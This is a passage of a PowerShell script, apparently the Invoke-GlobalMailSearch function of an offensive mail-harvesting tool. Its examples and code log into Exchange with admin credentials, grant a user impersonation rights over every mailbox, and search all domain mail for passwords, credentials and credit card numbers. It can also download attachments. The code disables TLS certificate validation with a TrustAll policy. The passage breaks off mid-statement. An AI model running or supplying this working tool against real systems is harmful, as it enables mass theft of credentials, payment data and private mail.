C:\PS> Invoke-GlobalMailSearch -ImpersonationAccount current-username -ExchHostname Exch01 -AdminUserName domain\exchangeadminuser -AdminPassword Summer123 -ExchangeVersion Exchange2010 -OutputCsv global-email-search.csv
Description
-----------
This command will connect to the Exchange server located at 'Exch01' and use the Exchange admin username and password specified in the command line. A PS remoting session is setup to the Exchange server where the ApplicationImpersonation role is then granted to the "current-username" user. A list of all email addresses in the domain is then gathered, followed by a connection to Exchange Web Services using an Exchange Version of Exchange2010 as "current-username" where by default 100 of the latest emails from each mailbox will be searched through for the terms "*pass*","*creds*","*credentials*" and output to a CSV called global-email-search.csv.
.EXAMPLE
C:\PS> Invoke-GlobalMailSearch -ImpersonationAccount current-username -AutoDiscoverEmail [email protected] -Folder all
Description
-----------
This command will connect to the Exchange server autodiscovered from the email address entered, and prompt for administrative credentials. Once administrative credentials have been entered a PS remoting session is setup to the Exchange server where the ApplicationImpersonation role is then granted to the "current-username" user. A list of all email addresses in the domain is then gathered, followed by a connection to Exchange Web Services as "current-username" where 100 of the latest emails from each folder including subfolders in each mailbox will be searched through for the terms "*passwords*","*super secret*","*industrial control systems*","*scada*","*launch codes*".
.EXAMPLE
C:\PS> Invoke-GlobalMailSearch -ImpersonationAccount current-username -AutoDiscoverEmail [email protected] -Regex '.*3[47][0-9]{13}.*|.*(?:5[1-5][0-9]{2}|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[01][0-9]|2720)[0-9]{12}.*|.*4[0-9]{12}(?:[0-9]{3}).*'
Description
-----------
This command will utilize a Regex search instead of the standard Terms functionality. Specifically, the regular expression in the example above will attempt to match on valid VISA, Mastercard, and American Express credit card numbers in the body and subject's of emails.
.EXAMPLE
C:\PS> Invoke-GlobalMailSearch -ImpersonationAccount current-username -AutoDiscoverEmail [email protected] -CheckAttachments -DownloadDir C:\temp
Description
-----------
This command will search through all of the attachments to emails as well as the default body/subject for specific terms and download any attachments found to the C:\temp directory.
#>
Param
(
[Parameter(Position = 0, Mandatory = $true)]
[string]
$ImpersonationAccount = "",
[Parameter(Position = 1, Mandatory = $false)]
[string]
$AutoDiscoverEmail = "",
[Parameter(Position = 2, Mandatory = $false)]
[system.URI]
$ExchHostname = "",
[Parameter(Position = 3, Mandatory = $false)]
[string]
$AdminUserName = "",
[Parameter(Position = 4, Mandatory = $false)]
[string]
$AdminPassword = "",
[Parameter(Position = 5, Mandatory = $False)]
[string[]]$Terms = ("*password*","*creds*","*credentials*"),
[Parameter(Position = 6, Mandatory = $False)]
[int]
$MailsPerUser = 100,
[Parameter(Position = 7, Mandatory = $False)]
[string]
$OutputCsv = "",
[Parameter(Position = 8, Mandatory = $False)]
[string]
$ExchangeVersion = "Exchange2010",
[Parameter(Position = 9, Mandatory = $False)]
[string]
$EmailList = "",
[Parameter(Position = 10, Mandatory = $False)]
[string]
$Folder = "Inbox",
[Parameter(Position = 11, Mandatory = $False)]
[string]
$Regex = '',
[Parameter(Position = 12, Mandatory = $False)]
[switch]
$CheckAttachments,
[Parameter(Position = 13, Mandatory = $False)]
[string]
$DownloadDir = ""
)
#Check for a method of connecting to the Exchange Server
if (($ExchHostname -ne "") -Or ($AutoDiscoverEmail -ne ""))
{
Write-Output ""
}
else
{
Write-Output "[*] Either the option 'ExchHostname' or 'AutoDiscoverEmail' must be entered!"
break
}
#Running the LoadEWSDLL function to load the required Exchange Web Services dll
LoadEWSDLL
#The specific version of Exchange must be specified
Write-Output "[*] Trying Exchange version $ExchangeVersion"
$ServiceExchangeVersion = [Microsoft.Exchange.WebServices.Data.ExchangeVersion]::$ExchangeVersion
$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService($ServiceExchangeVersion)
#Using current user's credentials to connect to EWS
$service.UseDefaultCredentials = $true
## Choose to ignore any SSL Warning issues caused by Self Signed Certificates
## Code From http://poshcode.org/624
## Create a compilation environment
$Provider=New-Object Microsoft.CSharp.CSharpCodeProvider
$Compiler=$Provider.CreateCompiler()
$Params=New-Object System.CodeDom.Compiler.CompilerParameters
$Params.GenerateExecutable=$False
$Params.GenerateInMemory=$True
$Params.IncludeDebugInformation=$False
$Params.ReferencedAssemblies.Add("System.DLL") > $null
$TASource=@'
namespace Local.ToolkitExtensions.Net.CertificatePolicy {
public class TrustAll : System.Net.ICertificatePolicy {
public TrustAll() {
}
public bool CheckValidationResult(System.Net.ServicePoint sp,
System.Security.Cryptography.X509Certificates.X509Certificate cert,
System.Net.WebRequest req, int problem) {
return true;
}
}
}
'@
$TAResults=$Provider.CompileAssemblyFromSource($Params,$TASource)
$TAAssembly=$TAResults.CompiledAssembly
## We now create an instance of the TrustAll and attach it to the ServicePointManager
$TrustAll=$TAAssembly.CreateInstance("Local.ToolkitExtensions.Net.CertificatePolicy.TrustAll")
[System.Net.ServicePointManager]::CertificatePolicy=$TrustAll
## end code from http://poshcode.org/624
#Connect to remote Exchange Server and add Impersonation Role to a user account
#Set the Exchange URI for the PS-Remoting session
If($AutoDiscoverEmail -ne "")
{
("[*] Autodiscovering email server for " + $AutoDiscoverEmail + "...")
$service.AutoDiscoverUrl($AutoDiscoverEmail, {$true})
$ExchUri = New-Object System.Uri(("http://" + $service.Url.Host + "/PowerShell"))
}
else
{
$ExchUri = New-Object System.Uri(("http://" + $ExchHostname + "/PowerShell/"))
}
#If the Exchange admin credentials were passed to the command line use those else prompt for Exchange admin credentials.
if ($AdminPassword -ne "")
{
$password = $AdminPassword | ConvertTo-SecureString -asPlainText -Force
$Login = New-Object System.Management.Automation.PSCredential($AdminUserName,$password)
}
else
{
Write-Host "[*] Enter Exchange admin credentials to add your user to the impersonation role"
$Login = Get-Credential
}
#PowerShell Remoting to Remote Exchange Server, Import Exchange Management Shell Tools
try
{
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ExchUri -Authentication Kerberos -Credential $Login -ErrorAction Stop -verbose:$false
}
catch
{
$ErrorMessage = $_.Exception.Message
if ($ErrorMessage -like "*Logon failure*")
{
Write-Host -foregroundcolor "red" "[*] ERROR: Logon failure. Ensure you have entered the correct credentials including the domain (i.e domain\username)."
break
}
Write-Host -foregroundcolor "red" "$ErrorMessage"
break
}
if($AutoDiscoverEmail -ne "")